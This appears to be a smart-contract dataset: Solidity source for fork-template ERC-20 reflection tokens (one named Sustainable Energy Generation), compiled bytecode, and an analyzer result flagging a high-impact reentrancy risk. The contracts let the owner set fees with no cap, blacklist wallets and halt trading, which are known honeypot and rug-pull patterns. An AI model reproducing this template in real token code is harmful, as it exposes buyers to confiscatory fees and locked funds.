//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b057600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611953565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600a8152694245524c494e20494e5560b01b60208201525b60405161023a9190611a18565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a6d565b61069a565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611a99565b6106b1565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ada565b61071a565b34801561036e57600080fd5b506101fc61037d366004611b07565b610765565b34801561038e57600080fd5b506101fc6107ad565b3480156103a357600080fd5b506102c26103b2366004611ada565b6107f8565b3480156103c357600080fd5b506101fc61081a565b3480156103d857600080fd5b506101fc6103e7366004611b22565b61088e565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ada565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b07565b6108bd565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600481526342494e5560e01b602082015261022d565b3480156104bc57600080fd5b506101fc6104cb366004611b22565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b3b565b610934565b3480156104fc57600080fd5b5061026361050b366004611a6d565b610972565b34801561051c57600080fd5b5061026361052b366004611ada565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b6d565b6109d3565b34801561058157600080fd5b506102c2610590366004611bf1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b22565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ada565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c2a565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c5f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c8b565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611da3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c2a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c2a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c2a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c2a565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c2a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c2a565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c2a565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c2a565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c5f565b9050602002016020810190610a349190611ada565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c8b565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c2a565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c2a565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611ca4565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461145f565b600081848411156112115760405162461bcd60e51b81526004016106259190611a18565b50600061121e8486611cbc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261148d565b90506112de83826114b0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c5f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113aa9190611cd3565b816001815181106113bd576113bd611c5f565b6001600160a01b0392831660209182029290920101526014546113e39130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141c908590600090869030904290600401611cf0565b600060405180830381600087803b15801561143657600080fd5b505af115801561144a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146c5761146c6114f2565b611477848484611520565b80610a6e57610a6e600e54600c55600f54600d55565b600080600061149a611617565b90925090506114a982826114b0565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611657565b600c541580156115025750600d54155b1561150957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153287611685565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156490876116e2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115939086611724565b6001600160a01b0389166000908152600260205260409020556115b581611783565b6115bf84836117cd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163282826114b0565b82101561164e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116785760405162461bcd60e51b81526004016106259190611a18565b50600061121e8486611d61565b60008060008060008060008060006116a28a600c54600d546117f1565b92509250925060006116b261148d565b905060008060006116c58e878787611846565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117318385611ca4565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061178d61148d565b9050600061179b8383611896565b306000908152600260205260409020549091506117b89082611724565b30600090815260026020526040902055505050565b6006546117da90836116e2565b6006556007546117ea9082611724565b6007555050565b600080808061180b60646118058989611896565b906114b0565b9050600061181e60646118058a89611896565b90506000611836826118308b866116e2565b906116e2565b9992985090965090945050505050565b60008080806118558886611896565b905060006118638887611896565b905060006118718888611896565b905060006118838261183086866116e2565b939b939a50919850919650505050505050565b6000826000036118a8575060006106ab565b60006118b48385611d83565b9050826118c18583611d61565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561194e8161192e565b919050565b6000602080838503121561196657600080fd5b823567ffffffffffffffff8082111561197e57600080fd5b818501915085601f83011261199257600080fd5b8135818111156119a4576119a4611918565b8060051b604051601f19603f830116810181811085821117156119c9576119c9611918565b6040529182528482019250838101850191888311156119e757600080fd5b938501935b82851015611a0c576119fd85611943565b845293850193928501926119ec565b98975050505050505050565b600060208083528351808285015260005b81811015611a4557858101830151858201604001528201611a29565b81811115611a57576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8057600080fd5b8235611a8b8161192e565b946020939093013593505050565b600080600060608486031215611aae57600080fd5b8335611ab98161192e565b92506020840135611ac98161192e565b929592945050506040919091013590565b600060208284031215611aec57600080fd5b81356112de8161192e565b8035801515811461194e57600080fd5b600060208284031215611b1957600080fd5b6112de82611af7565b600060208284031215611b3457600080fd5b5035919050565b60008060008060808587031215611b5157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8257600080fd5b833567ffffffffffffffff80821115611b9a57600080fd5b818601915086601f830112611bae57600080fd5b813581811115611bbd57600080fd5b8760208260051b8501011115611bd257600080fd5b602092830195509350611be89186019050611af7565b90509250925092565b60008060408385031215611c0457600080fd5b8235611c0f8161192e565b91506020830135611c1f8161192e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9d57611c9d611c75565b5060010190565b60008219821115611cb757611cb7611c75565b500190565b600082821015611cce57611cce611c75565b500390565b600060208284031215611ce557600080fd5b81516112de8161192e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d405784516001600160a01b031683529383019391830191600101611d1b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9d57611d9d611c75565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f5476075b258456049e9410d9962290721b4802a40f88c6ed6707379f111d9a64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,481 |
0xA72942dDd2dc335392d5A3E568e84cB6BE0a0894 | /**
SustainableEnergyGeneration
Inspired by Elon's tweet. $SEG is a MRI fork to help pollution.
Telegram: https://t.me/SustainableEnergyGeneration
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SustainableEnergyGeneration is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sustainable Energy Generation";
string private constant _symbol = "SEG";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xCB5d627C03EBC0E78cD19874C1D6D09b51C888c4);
address payable private _marketingAddress = payable(0xCB5d627C03EBC0E78cD19874C1D6D09b51C888c4);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
